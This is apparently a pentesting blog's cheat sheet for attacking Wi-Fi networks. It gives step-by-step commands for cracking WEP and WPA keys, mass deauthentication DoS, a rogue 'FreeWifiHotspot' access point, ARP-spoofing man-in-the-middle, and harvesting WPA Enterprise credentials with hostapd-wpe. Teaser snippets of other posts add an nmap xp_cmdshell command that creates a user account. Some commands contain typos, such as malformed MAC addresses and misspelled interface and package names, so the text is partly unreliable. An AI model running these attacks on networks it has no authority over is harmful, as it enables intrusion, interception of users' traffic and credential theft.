Skip to main content

Wireless Pentesting

By

 

 

Change Your MAC Address

macchanger -m aa:bb:cc:11:22:33:44 wlan

or 

ifconfig eth0 hw ether aa:bb:cc:11:22:33:44
ifconfig eth0 up
Cracking WEP

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w PacketCapture

#Crack the password
aircrack-ng PacketCapture.cap
Cracking WPA/WPA2 PSK

WPA/WPA2 PSK works on pre authentication key, so we need to capture the handshake when the authentication happens.  

service network-manager stop

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w wpadump

#De-authenticate the already connected user or wait for some one to reconnect to the network
aireplay-ng --deauth 50 -a router_MAC_Address -h Victim_MAC_Station wlan0mon

#make sure you see WPA Handshake on airodump-ng terminal, then stop the airodump
aircrack-ng -w wordlist.txt wpadump.cap 
Eavesdropping on Wireless Network 

#Start Monitor Mode
airmon-ng start wlan0

#if you see any applications using the service
airmon-ng check kill

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it, collect as much data as possible  
airodump-ng --bssid 00:11:22:33:44:55:66 -c Channel_Number wlan0mon -w wpadump

#Decrypt the data with the password. we need password and pcap file, crack the password using above methods. it removes all wireless protocol networks. 

airdecap-ng -w WEP_Password_in_Hex wepdump.cap

or 

airdecap-ng -p WPA_Password wpadump.cap

#open the WPAdump-dec.cap in wireshark and analyze the traffic

Setting up a Rogue Access Point Manually

#Start Monitor Mode
airmon-ng start wlan0

#Set a IP for the Monitor Interface
ifconfig wlan0mon 10.0.0.1/24

#Download required Tools 
sudo apt-get install -y hostapd dnsmasq wireless-tools iw wvdial 

#backup dnsmasq.conf file 
mv /etc/dnsmasq.conf /etc/dnsmasq.conf_backup

#Create a new dnsmasq.conf file 
nano dnsmasq.conf

log-facility=/var/log/dnsmasq.log
#Redirect the traffic to our machine, #is any
#address=/#/10.0.0.1
#redirect only google.com to our machine
#address=/google.com/10.0.0.1
interface=wlam0mon
dhcp-range=10.0.0.10,10.0.0.250,12h
#Gateway , Option 3 
dhcp-option=3,10.0.0.1 
#DNS Sever, Option 6
dhcp-option=6,10.0.0.1
#no-resolv
log-queries

#Create a hostapd.conf file 
nano /etc/hostapd.conf

interface=wlan0mon
driver=nl80211
ssid=FreeWifiHotspot
channel=1
#enable_karma=1

#Start dnsmasq 
service dnsmasq start 

#Start hostapd 
hostapd /etc/hostapd/hostapd.conf


#Rogue Access point is created and we can see their traffic in /var/log/dnsmasq.log file or capture the traffic on wireshark.
Man in the Middle Attack

Start the rogue access point as shown above and follow the below steps 


#flush MAC tables 
iptables -t nat -F
iptables -F

#create a nat rule for interface which has internet
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

#Forward the packets from user to destination
iptables -A FORWARD -i wlan0mon -o eth0 -j ACCEPT

#IP forwarding in Linux 
echo '1' > /proc/sys/net/ipv4/ip_forward
MITM - arpspoof 

#install arpspoof & dsniff
pacman -S arpspoof dniff

#setup IP Port Forwarding. So, that the traffic coming to attacker machine can have access to internet 
sysctl -w net.ipv4.ip_forward=1

#list ARP table
arp -a 

#start ARP Spoofing for Victim
arpspoof -i ens33 -t Target_IP Gateway_IP

#Start ARPSpoof for Gateway/Router on new terminal
arpspoof -i ens33 -t Gateway_IP Target_IP 

#Start wirshark and capture the packets ; you can filter by Victim IP address

Dos Attack

#Start Monitor Mode
airmon-ng start wlan0

#Search for Wireless Networks and copy the BSSID
airodump-ng wlan0mon

#Start capturing IV Packets and do not close it 
airodump-ng --bssid 00:11:22:33:44:55:66 -c 1 wlan0mon -w wpadump

#De-authenticate the already connected user and performing DOS attack 
aireplay-ng --deauth 5000 -a router_MAC_Address -c Victim_MAC_Station wlan0mon
Testing WPA Enterprise

apt-get update 
apt-get install hostapd-wpe

leadpad /etc/hostapd-wpe/hostapd-wpe.conf

--> modify the content in it 

ssid=NameOftheNetwork

ctrl+s, ctrl+q 

--> stop network-manager
service network-manager stop 

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

--> fake access point is created. so, wait for the victim to enter the username& pass
--> usernmae is visible but passowrd is encrypted 
--> we will get challenge and response (both are encrypted)
--> need another tool to decrypt it 

asleap -C challenge_code -R resonse_code -W wordlist.txt  

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Host and Application locally and access it over the internet via ngrock

By
 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...
Post a Comment
Read more